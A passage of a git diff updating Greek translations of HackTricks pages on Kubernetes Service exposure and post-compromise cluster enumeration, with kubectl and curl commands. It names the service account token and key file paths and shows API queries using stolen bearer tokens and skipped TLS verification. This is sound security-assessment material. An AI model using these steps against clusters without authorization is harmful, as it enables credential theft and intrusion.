@@ kubectl proxy --port=8080 `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -για να έχετε πρόσβαση σε αυτό το service: +για να αποκτήσετε πρόσβαση σε αυτό το service: ```yaml apiVersion: v1 kind: Service @@ -50,15 +50,15 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Αυτή η μέθοδος απαιτεί να εκτελέσετε το `kubectl` ως **authenticated user**._ +_Αυτή η μέθοδος απαιτεί να εκτελέσεις το `kubectl` ως **authenticated user**._ -List all ClusterIPs: +Λίστα με όλα τα ClusterIPs: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -Όταν χρησιμοποιείται το **NodePort**, μια καθορισμένη πόρτα γίνεται διαθέσιμη σε όλους τους Nodes (που αντιπροσωπεύουν τις Virtual Machines). Η **Traffic** που κατευθύνεται σε αυτή τη συγκεκριμένη πόρτα στη συνέχεια **δρομολογείται προς το service**. Συνήθως, αυτή η μέθοδος δεν συνιστάται λόγω των μειονεκτημάτων της. +Όταν χρησιμοποιείται το **NodePort**, μια συγκεκριμένη θύρα γίνεται διαθέσιμη σε όλους τους Nodes (που αντιπροσωπεύουν τις Virtual Machines). Η **Traffic** που κατευθύνεται σε αυτή τη συγκεκριμένη θύρα στη συνέχεια **δρομολογείται προς το service**. Συνήθως, αυτή η μέθοδος δεν συνιστάται λόγω των μειονεκτημάτων της. List all NodePorts: ```bash @@ -83,39 +83,40 @@ protocol: TCP ``` Αν **δεν ορίσεις** το **nodePort** στο yaml (είναι η θύρα που θα ανοίξει), θα χρησιμοποιηθεί μια θύρα στο **εύρος 30000–32767**. -Όταν ελέγχεις NodePort ή LoadBalancer Services, εξέτασε επίσης τα traffic-policy fields, επειδή αλλάζουν ποιοι nodes και backends είναι χρήσιμοι από μια δεδομένη source: +Όταν ελέγχεις NodePort ή LoadBalancer Services, εξέτασε επίσης τα πεδία traffic-policy επειδή αλλάζουν ποιοι nodes και backends είναι χρήσιμοι από μια δεδομένη πηγή: ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local` διατηρεί το αρχικό client source IP για NodePort/LoadBalancer traffic και αποφεύγει το forwarding σε endpoints σε άλλους nodes. Ένα node χωρίς local ready endpoint μπορεί να απορρίψει το traffic ακόμα κι αν το Service έχει endpoints αλλού. -- `externalTrafficPolicy: Cluster` είναι το default και μπορεί να κάνει forward μέσω οποιουδήποτε node, αλλά τα backend logs μπορεί να βλέπουν node IPs αντί για το πραγματικό external client IP. -- `internalTrafficPolicy: Local` περιορίζει το in-cluster Service traffic σε endpoints που είναι local στο source node. Αυτό είναι locality routing, όχι authorization boundary. -- `sessionAffinity: ClientIP` μπορεί να κάνει επαναλαμβανόμενα tests από έναν client να χτυπούν το ίδιο backend, κρύβοντας άλλα ready endpoints κατά τη διάρκεια manual checks. -- `trafficDistribution` και EndpointSlice topology hints μπορούν να προτιμούν same-zone ή same-node endpoints σε νεότερα clusters· να τα αντιμετωπίζεις ως routing preferences και όχι ως αυστηρό security policy. +- Τα NodePorts συνήθως εκτίθενται σε node addresses, αλλά το kube-proxy μπορεί να περιορίσει τα address ranges με `--nodeport-addresses` ή `nodePortAddresses` στη configuration του. Έλεγξε την ενεργή kube-proxy ή CNI service-proxy replacement configuration πριν υποθέσεις ότι το NodePort είναι reachable σε κάθε node IP. +- `externalTrafficPolicy: Local` διατηρεί το αρχικό client source IP για NodePort/LoadBalancer traffic και αποφεύγει το forwarding σε endpoints σε άλλα nodes. Ένα node χωρίς local ready endpoint μπορεί να απορρίψει το traffic ακόμα κι αν το Service έχει endpoints αλλού. +- `externalTrafficPolicy: Cluster` είναι το default και μπορεί να κάνει forward μέσω οποιουδήποτε node, αλλά τα backend logs μπορεί να βλέπουν node IPs αντί για το πραγματικό εξωτερικό client IP. +- `internalTrafficPolicy: Local` περιορίζει το in-cluster Service traffic σε endpoints local στο source node. Αυτό είναι locality routing, όχι authorization boundary. +- `sessionAffinity: ClientIP` μπορεί να κάνει επαναλαμβανόμενα tests από έναν client να χτυπούν το ίδιο backend, κρύβοντας άλλα ready endpoints κατά τη διάρκεια χειροκίνητων ελέγχων. +- `trafficDistribution` και EndpointSlice topology hints μπορούν να προτιμούν same-zone ή same-node endpoints σε νεότερα clusters· να τα αντιμετωπίζεις ως routing preferences και όχι ως hard security policy. ### LoadBalancer -Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer. +Κάνει expose το Service externally **χρησιμοποιώντας ένα cloud provider's load balancer**. Στο GKE, αυτό θα σηκώσει ένα [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) που θα σου δώσει ένα single IP address το οποίο θα προωθεί όλη την traffic προς το service σου. Στο AWS θα εκκινήσει ένα Load Balancer. -You have to pay for a LoadBalancer per exposed service, which can be expensive. +Πρέπει να πληρώσεις για έναν LoadBalancer ανά exposed service, κάτι που μπορεί να είναι ακριβό. -List all LoadBalancers: +Λίστα όλων των LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` ### External IPs > [!TIP] -> Τα External IPs εκτίθενται από services τύπου Load Balancers και γενικά χρησιμοποιούνται όταν γίνεται χρήση ενός εξωτερικού Cloud Provider Load Balancer. +> External IPs εκτίθενται από services τύπου Load Balancers και γενικά χρησιμοποιούνται όταν γίνεται χρήση ενός external Cloud Provider Load Balancer. > -> Για να τα βρεις, έλεγξε για load balancers με τιμές στο πεδίο `EXTERNAL-IP`. +> Για να τα βρεις, έλεγξε τα load balancers για τιμές στο πεδίο `EXTERNAL-IP`. Η κίνηση που εισέρχεται στο cluster με το **external IP** (ως **destination IP**), στο Service port, θα **δρομολογείται σε ένα από τα Service endpoints**. Τα `externalIPs` δεν διαχειρίζονται από το Kubernetes και αποτελούν ευθύνη του cluster administrator. -Το `externalIPs` είναι ένα ευαίσθητο πεδίο route-control επειδή ένας χρήστης που μπορεί να το ορίσει ίσως διεκδικήσει traffic για μια IP address που ο Service owner δεν θα έπρεπε να ελέγχει, αν το surrounding network δρομολογεί αυτή την IP προς το cluster. Το Kubernetes ανακοίνωσε την deprecation και την προγραμματισμένη αφαίρεση του Service `externalIPs` στο v1.36, οπότε προτίμησε controller-owned exposure mechanisms όπως LoadBalancer integrations ή Gateway API όπου είναι δυνατό, και περιόρισε/επέτρεψε αυτό το πεδίο προσεκτικά όσο ακόμη υπάρχει. +Το `externalIPs` είναι ένα ευαίσθητο πεδίο route-control επειδή ένας user που μπορεί να το ορίσει ίσως διεκδικήσει traffic για μια IP address την οποία ο Service owner δεν θα έπρεπε να ελέγχει, αν το surrounding network δρομολογεί αυτή την IP προς το cluster. Το Kubernetes ανακοίνωσε το deprecation και την προγραμματισμένη αφαίρεση των Service `externalIPs` στο v1.36, οπότε προτίμησε controller-owned exposure mechanisms όπως LoadBalancer integrations ή Gateway API όπου είναι δυνατόν, και περιόρισε/επέτρεψε αυτό το πεδίο προσεκτικά όσο ακόμα υπάρχει. -Στο Service spec, το `externalIPs` μπορεί να καθοριστεί μαζί με οποιονδήποτε από τους `ServiceTypes`. Στο παρακάτω παράδειγμα, το "`my-service`" μπορεί να προσπελαστεί από clients στο "`80.11.12.10:80`" (`externalIP:port`) +Στο Service spec, τα `externalIPs` μπορούν να καθοριστούν μαζί με οποιοδήποτε από τα `ServiceTypes`. Στο παρακάτω example, το "`my-service`" μπορεί να προσπελαστεί από clients στο "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -134,9 +135,9 @@ externalIPs: ``` ### ExternalName -[**Από τα docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Τα Services τύπου ExternalName **αντιστοιχίζουν ένα Service σε ένα DNS name**, όχι σε έναν τυπικό selector όπως `my-service` ή `cassandra`. Καθορίζεις αυτά τα Services με την παράμετρο `spec.externalName`. +[**Από τα docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Τα Services τύπου ExternalName **αντιστοιχίζουν ένα Service σε ένα DNS name**, όχι σε έναν τυπικό selector όπως `my-service` ή `cassandra`. Ορίζεις αυτά τα Services με την παράμετρο `spec.externalName`. -Αυτό το Service definition, για παράδειγμα, αντιστοιχίζει το `my-service` Service στο namespace `prod` στο `my.database.example.com`: +Αυτός ο ορισμός Service, για παράδειγμα, αντιστοιχίζει το `my-service` Service στο namespace `prod` στο `my.database.example.com`: ```yaml apiVersion: v1 kind: Service @@ -147,7 +148,9 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Όταν αναζητάς το host `my-service.prod.svc.cluster.local`, το cluster DNS Service επιστρέφει μια εγγραφή `CNAME` με τιμή `my.database.example.com`. Η πρόσβαση στο `my-service` λειτουργεί με τον ίδιο τρόπο όπως σε άλλες Services, αλλά με τη σημαντική διαφορά ότι η **ανακατεύθυνση γίνεται σε επίπεδο DNS** αντί μέσω proxying ή forwarding. +Όταν αναζητάτε το host `my-service.prod.svc.cluster.local`, το cluster DNS Service επιστρέφει ένα `CNAME` record με τιμή `my.database.example.com`. Η πρόσβαση στο `my-service` λειτουργεί με τον ίδιο τρόπο όπως σε άλλα Services, αλλά με τη κρίσιμη διαφορά ότι η **ανακατεύθυνση γίνεται σε επίπεδο DNS** και όχι μέσω proxying ή forwarding. + +Σημείωση security review: αν ένας Ingress controller, μια Gateway implementation, ένα service mesh ή μια εφαρμογή δέχεται ένα ExternalName Service ως backend, ο controller μπορεί να resolve και να φτάσει το external name από τη δική του θέση στο network. Αυτό μπορεί να εκθέσει internal-only services μέσω public routing infrastructure όταν οι users μπορούν να δημιουργήσουν τόσο το route object όσο και το ExternalName Service. Ελέγξτε τη συγκεκριμένη controller implementation και version, τα ExternalName support flags ή allowlists, το route status και το ακριβές target domain πριν το θεωρήσετε ασφαλές. Για παράδειγμα, το Skipper διόρθωσε ένα Kubernetes ExternalName SSRF issue στο v0.24.0 απενεργοποιώντας τα ExternalName backends by default και τεκμηριώνοντας μια allowlist option. List all ExternalNames: ```bash @@ -155,26 +158,26 @@ kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -Τα EndpointSlices δείχνουν τις συγκεκριμένες backend διευθύνσεις και ports προς τα οποία δρομολογεί αυτή τη στιγμή ένα Service. Είναι ιδιαίτερα χρήσιμα όταν ένα Service δεν έχει selector, όταν τα labels δεν εξηγούν τη διαδρομή της κίνησης, ή όταν μόνο κάποια backends είναι έτοιμα. +Τα EndpointSlices δείχνουν τις συγκεκριμένες backend διευθύνσεις και ports στα οποία δρομολογείται αυτή τη στιγμή ένα Service. Είναι ιδιαίτερα χρήσιμα όταν ένα Service δεν έχει selector, όταν τα labels δεν εξηγούν τη διαδρομή της κίνησης, ή όταν μόνο ορισμένα backends είναι ready. -List EndpointSlices associated with Services: +Λίστα EndpointSlices που σχετίζονται με Services: ```bash kubectl get endpointslices --all-namespaces kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml kubectl get endpointslice -n -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -Κατά τον έλεγχο της έκθεσης, σύγκρινε τον Service selector με το EndpointSlice `targetRef`, τις endpoint addresses, τις readiness conditions και τα ports. Ένα selectorless Service μπορεί να συνδυαστεί με EndpointSlices που διαχειρίζονται χειροκίνητα και να δρομολογεί traffic σε μη-Pod ή απρόσμενους προορισμούς. +Κατά την εξέταση της exposure, σύγκρινε το Service selector με το EndpointSlice `targetRef`, τις endpoint addresses, τις readiness conditions και τα ports. Ένα selectorless Service μπορεί να συνδυαστεί με χειροκίνητα διαχειριζόμενα EndpointSlices και να δρομολογεί traffic σε non-Pod ή απροσδόκητους προορισμούς. ### Ingress Σε αντίθεση με όλα τα παραπάνω παραδείγματα, το **Ingress ΔΕΝ είναι τύπος service**. Αντίθετα, βρίσκεται **μπροστά από πολλαπλά services και λειτουργεί ως “smart router”** ή entrypoint στο cluster σου. -Μπορείς να κάνεις πολλά διαφορετικά πράγματα με ένα Ingress, και υπάρχουν **πολλοί τύποι Ingress controllers που έχουν διαφορετικές δυνατότητες**. +Μπορείς να κάνεις πολλά διαφορετικά πράγματα με ένα Ingress, και υπάρχουν **πολλοί τύποι Ingress controllers με διαφορετικές δυνατότητες**. -Ο default GKE ingress controller θα εκκινήσει για εσένα ένα [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Αυτό θα σου επιτρέψει να κάνεις τόσο path based όσο και subdomain based routing προς backend services. Για παράδειγμα, μπορείς να στείλεις τα πάντα στο foo.yourdomain.com στο foo service, και τα πάντα κάτω από το path yourdomain.com/bar/ στο bar service. +Ο default GKE ingress controller θα δημιουργήσει ένα [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) για εσένα. Αυτό θα σου επιτρέψει να κάνεις τόσο path based όσο και subdomain based routing προς backend services. Για παράδειγμα, μπορείς να στείλεις τα πάντα στο foo.yourdomain.com προς το foo service, και τα πάντα κάτω από το path yourdomain.com/bar/ προς το bar service. -Το YAML για ένα Ingress object στο GKE με ένα [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) μπορεί να μοιάζει κάπως έτσι: +Το YAML για ένα Ingress object στο GKE με ένα [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) μπορεί να μοιάζει ως εξής: ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress @@ -208,37 +211,46 @@ name: bar port: number: 8080 ``` -Λίστα όλων των ingresses: +Παραθέστε όλα τα ingresses: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Αν και σε αυτή την περίπτωση είναι καλύτερο να πάρεις τις πληροφορίες του καθενός ξεχωριστά για να τις διαβάσεις καλύτερα: +Παρόλο που σε αυτή την περίπτωση είναι καλύτερο να πάρεις τις πληροφορίες του καθενός μία-μία για να τις διαβάσεις καλύτερα: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Το Gateway API είναι το νεότερο Kubernetes API για την έκθεση Services. Διαχωρίζει τα Gateway objects που ανήκουν στην υποδομή από τα Route objects που ανήκουν στην εφαρμογή, όπως το HTTPRoute. Αυτό είναι χρήσιμο για delegation, αλλά σημαίνει επίσης ότι η έκθεση μπορεί να είναι κατανεμημένη across namespaces. +Το Gateway API είναι το νεότερο Kubernetes API για την έκθεση Services. Διαχωρίζει τα αντικείμενα Gateway που ανήκουν στην υποδομή από τα αντικείμενα Route που ανήκουν στην εφαρμογή, όπως το HTTPRoute. Αυτό είναι χρήσιμο για delegation, αλλά σημαίνει επίσης ότι η έκθεση μπορεί να είναι κατανεμημένη σε διαφορετικά namespaces. List Gateway API exposure objects: ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Έλεγξε Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, και status conditions όπως αν το route έγινε accepted. Ένα Route που γίνεται accepted από ένα shared Gateway μπορεί να expose ένα backend ακόμα και όταν δεν υπάρχει legacy Ingress object. +Ελέγξτε Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames ή SNI matches, filters, backend references και status conditions όπως `Accepted`, `ResolvedRefs` και `Programmed`. Ένα Route που γίνεται accepted από ένα shared Gateway μπορεί να expose ένα backend ακόμη κι όταν δεν υπάρχει legacy Ingress object. + +Μην ελέγχετε μόνο HTTPRoute. GRPCRoute, TLSRoute, TCPRoute και UDPRoute μπορούν να expose non-HTTP services όπως admin ports, brokers, databases, service-mesh gateways ή pass-through TLS backends. Επίσης, εξετάστε `ReferenceGrant` objects για cross-namespace backend ή certificate references και `BackendTLSPolicy` για το TLS identity που χρησιμοποιεί το Gateway όταν συνδέεται σε backend Services. Το Backend TLS policy από μόνο του δεν αποδεικνύει public reachability, αλλά είναι χρήσιμο evidence όταν ένα programmed Gateway route φτάνει σε ένα ready Service με weak, shared ή λάθος backend identity validation. ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index ff2bf5b3e..f733175de 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,24 +4,24 @@ ## Kubernetes Tokens -Αν έχεις παραβιάσει πρόσβαση σε ένα machine, ο χρήστης μπορεί να έχει πρόσβαση σε κάποια Kubernetes platform. Το token συνήθως βρίσκεται σε ένα αρχείο που δείχνει η **env var `KUBECONFIG`** ή **μέσα στο `~/.kube`**. +Αν έχεις compromised πρόσβαση σε ένα machine, ο user μπορεί να έχει πρόσβαση σε κάποια Kubernetes platform. Το token συνήθως βρίσκεται σε ένα file που δείχνει η **env var `KUBECONFIG`** ή **μέσα στο `~/.kube`**. -Σε αυτόν τον φάκελο μπορεί να βρεις config files με **tokens και configurations για σύνδεση με το API server**. Σε αυτόν τον φάκελο μπορεί επίσης να βρεις ένα cache folder με πληροφορίες που ανακτήθηκαν προηγουμένως. +Σε αυτόν τον φάκελο μπορεί να βρεις config files με **tokens και configurations για σύνδεση στο API server**. Σε αυτόν τον φάκελο μπορείς επίσης να βρεις έναν cache φάκελο με πληροφορίες που έχουν ανακτηθεί προηγουμένως. -Αν έχεις παραβιάσει ένα pod μέσα σε ένα kubernetes environment, υπάρχουν και άλλα σημεία όπου μπορείς να βρεις tokens και πληροφορίες για το τρέχον K8 env: +Αν έχεις compromised ένα pod μέσα σε ένα kubernetes environment, υπάρχουν και άλλα σημεία όπου μπορείς να βρεις tokens και πληροφορίες για το τρέχον K8 env: ### Service Account Tokens -Πριν συνεχίσεις, αν δεν ξέρεις τι είναι ένα service στο Kubernetes θα σου πρότεινα να **ακολουθήσεις αυτόν τον σύνδεσμο και να διαβάσεις τουλάχιστον τις πληροφορίες για την Kubernetes architecture.** +Πριν συνεχίσεις, αν δεν ξέρεις τι είναι ένα service in Kubernetes θα πρότεινα να **ακολουθήσεις αυτό το link και να διαβάσεις τουλάχιστον τις πληροφορίες για την Kubernetes architecture.** Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server): -_“Όταν δημιουργείς ένα pod, αν δεν καθορίσεις ένα service account, του αποδίδεται αυτόματα το_ default _service account στο ίδιο namespace.”_ +_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount** είναι ένα object που διαχειρίζεται το Kubernetes και χρησιμοποιείται για να παρέχει μια identity σε processes που εκτελούνται σε ένα pod.\ -Κάθε service account έχει ένα secret σχετικό με αυτό και αυτό το secret περιέχει ένα bearer token. Αυτό είναι ένα JSON Web Token (JWT), μια μέθοδος για την ασφαλή αναπαράσταση claims μεταξύ δύο μερών. +**ServiceAccount** είναι ένα object που διαχειρίζεται το Kubernetes και χρησιμοποιείται για να παρέχει identity για processes που τρέχουν σε ένα pod.\ +Κάθε service account έχει ένα secret σχετικό με αυτό και αυτό το secret περιέχει ένα bearer token. Αυτό είναι ένα JSON Web Token (JWT), μια μέθοδος για την ασφαλή αναπαράσταση claims μεταξύ δύο parties. -Συνήθως **μία** από τις directories: +Συνήθως **ένα** από τα directories: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -29,25 +29,25 @@ _“Όταν δημιουργείς ένα pod, αν δεν καθορίσεις περιέχει τα files: -- **ca.crt**: Είναι το ca certificate για να ελέγχει τις επικοινωνίες του kubernetes -- **namespace**: Υποδεικνύει το τρέχον namespace +- **ca.crt**: Είναι το ca certificate για να ελέγχει τις Kubernetes communications +- **namespace**: Δείχνει το τρέχον namespace - **token**: Περιέχει το **service token** του τρέχοντος pod. -Τώρα που έχεις το token, μπορείς να βρεις το API server μέσα στο environment variable **`KUBECONFIG`**. Για περισσότερες πληροφορίες τρέξε `(env | set) | grep -i "kuber|kube`**`"`** +Τώρα που έχεις το token, μπορείς να βρεις το API server μέσα από το environment variable **`KUBECONFIG`**. Για περισσότερες πληροφορίες τρέξε `(env | set) | grep -i "kuber|kube`**`"`** Το service account token υπογράφεται από το key που βρίσκεται στο file **sa.key** και επαληθεύεται από το **sa.pub**. -Default location στο **Kubernetes**: +Default location on **Kubernetes**: - /etc/kubernetes/pki -Default location στο **Minikube**: +Default location on **Minikube**: - /var/lib/localkube/certs ### Hot Pods -_**Hot pods are**_ pods που περιέχουν ένα privileged service account token. Ένα privileged service account token είναι ένα token που έχει permission να εκτελεί privileged tasks όπως το listing secrets, creating pods, etc. +_**Hot pods are**_ pods που περιέχουν ένα privileged service account token. Ένα privileged service account token είναι ένα token που έχει permission να εκτελεί privileged tasks όπως listing secrets, creating pods, etc. ## RBAC @@ -55,7 +55,7 @@ _**Hot pods are**_ pods που περιέχουν ένα privileged service acco ## GUI Applications -- **k9s**: Ένα GUI που κάνει enumeration ένα kubernetes cluster από το terminal. Δες τα commands στο[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Γράψε `:namespace` και επέλεξε all για να κάνεις μετά search resources σε όλα τα namespaces. +- **k9s**: Ένα GUI που enumerates ένα kubernetes cluster από το terminal. Δες τα commands στο[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Γράψε `:namespace` και επίλεξε all για να κάνεις search resources σε όλα τα namespaces. - **k8slens**: Προσφέρει μερικές free trial days: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet @@ -63,27 +63,27 @@ _**Hot pods are**_ pods που περιέχουν ένα privileged service acco Για να κάνεις enumerate ένα K8s environment χρειάζεσαι μερικά από τα εξής: - Ένα **valid authentication token**. Στην προηγούμενη ενότητα είδαμε πού να ψάξεις για ένα user token και για ένα service account token. -- Η **διεύθυνση (**_**https://host:port**_**) του Kubernetes API**. Συνήθως μπορεί να βρεθεί στα environment variables ή/και στο kube config file. -- **Προαιρετικά**: Το **ca.crt για να επαληθεύσεις το API server**. Μπορεί να βρεθεί στα ίδια μέρη όπου μπορεί να βρεθεί το token. Αυτό είναι χρήσιμο για να επαληθεύσεις το certificate του API server, αλλά χρησιμοποιώντας `--insecure-skip-tls-verify` με `kubectl` ή `-k` με `curl` δεν θα το χρειαστείς. +- Τη **διεύθυνση (**_**https://host:port**_**) του Kubernetes API**. Αυτό συνήθως μπορεί να βρεθεί στα environment variables και/ή στο kube config file. +- **Προαιρετικά**: Το **ca.crt για να επαληθεύσεις τον API server**. Αυτό μπορεί να βρεθεί στα ίδια σημεία όπου μπορεί να βρεθεί και το token. Είναι χρήσιμο για να επαληθεύσεις το certificate του API server, αλλά χρησιμοποιώντας `--insecure-skip-tls-verify` με `kubectl` ή `-k` με `curl` δεν θα το χρειαστείς. Με αυτά τα στοιχεία μπορείς να **enumerate kubernetes**. Αν το **API** για κάποιο λόγο είναι **accessible** μέσω του **Internet**, μπορείς απλώς να κατεβάσεις αυτές τις πληροφορίες και να κάνεις enumerate την platform από το host σου. -Ωστόσο, συνήθως το **API server είναι μέσα σε ένα internal network**, επομένως θα χρειαστεί να **δημιουργήσεις ένα tunnel** μέσω του compromised machine για να έχεις πρόσβαση από το machine σου, ή μπορείς να **ανεβάσεις το** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ή να χρησιμοποιήσεις **`curl/wget/anything`** για να κάνεις raw HTTP requests στο API server. +Ωστόσο, συνήθως ο **API server είναι μέσα σε εσωτερικό δίκτυο**, άρα θα χρειαστεί να **δημιουργήσεις ένα tunnel** μέσω του compromised machine για να το προσπελάσεις από το machine σου, ή μπορείς να **ανεβάσεις το** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ή να χρησιμοποιήσεις **`curl/wget/anything`** για να κάνεις raw HTTP requests στο API server. ### Differences between `list` and `get` verbs -Με permissions **`get`** μπορείς να έχεις πρόσβαση σε πληροφορίες συγκεκριμένων assets (_`describe` option in `kubectl`_) API: +Με permissions **`get`** μπορείς να αποκτήσεις πληροφορίες για συγκεκριμένα assets (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Αν έχετε το permission **`list`**, επιτρέπεται να εκτελείτε API requests για να κάνετε list έναν τύπο asset (_`get` option στο `kubectl`_): +Αν έχετε το δικαίωμα **`list`**, σας επιτρέπεται να εκτελείτε API requests για να κάνετε list έναν τύπο asset (_`get` option in `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Αν έχετε την άδεια **`watch`**, επιτρέπεται να εκτελείτε API requests για να παρακολουθείτε assets: +Αν έχετε το δικαίωμα **`watch`**, επιτρέπεται να εκτελείτε API requests για να παρακολουθείτε assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Ανοίγουν μια streaming σύνδεση που σου επιστρέφει το πλήρες manifest ενός Deployment κάθε φορά που αλλάζει (ή όταν δημιουργείται ένα νέο). +Ανοίγουν μια streaming σύνδεση που σου επιστρέφει ολόκληρο το manifest ενός Deployment κάθε φορά που αλλάζει (ή όταν δημιουργείται ένα νέο). > [!CAUTION] -> Οι ακόλουθες εντολές `kubectl` δείχνουν απλώς πώς να κάνεις list τα objects. Αν θέλεις να προσπελάσεις τα δεδομένα πρέπει να χρησιμοποιήσεις `describe` αντί για `get` +> Τα παρακάτω `kubectl` commands δείχνουν μόνο πώς να κάνεις list τα objects. Αν θέλεις να αποκτήσεις πρόσβαση στα data, πρέπει να χρησιμοποιήσεις `describe` αντί για `get` ### Using curl @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Από προεπιλογή το pod μπορεί να **access** τον **kube-api server** στο domain name **`kubernetes.default.svc`** και μπορείς να δεις το kube network στο **`/etc/resolv.config`** καθώς εδώ θα βρεις τη διεύθυνση του kubernetes DNS server (το ".1" του ίδιου range είναι το kube-api endpoint). +> Από προεπιλογή το pod μπορεί να **προσπελάσει** τον **kube-api server** στο domain name **`kubernetes.default.svc`** και μπορείς να δεις το kube network στο **`/etc/resolv.config`** καθώς εκεί θα βρεις τη διεύθυνση του kubernetes DNS server (το ".1" του ίδιου range είναι το kube-api 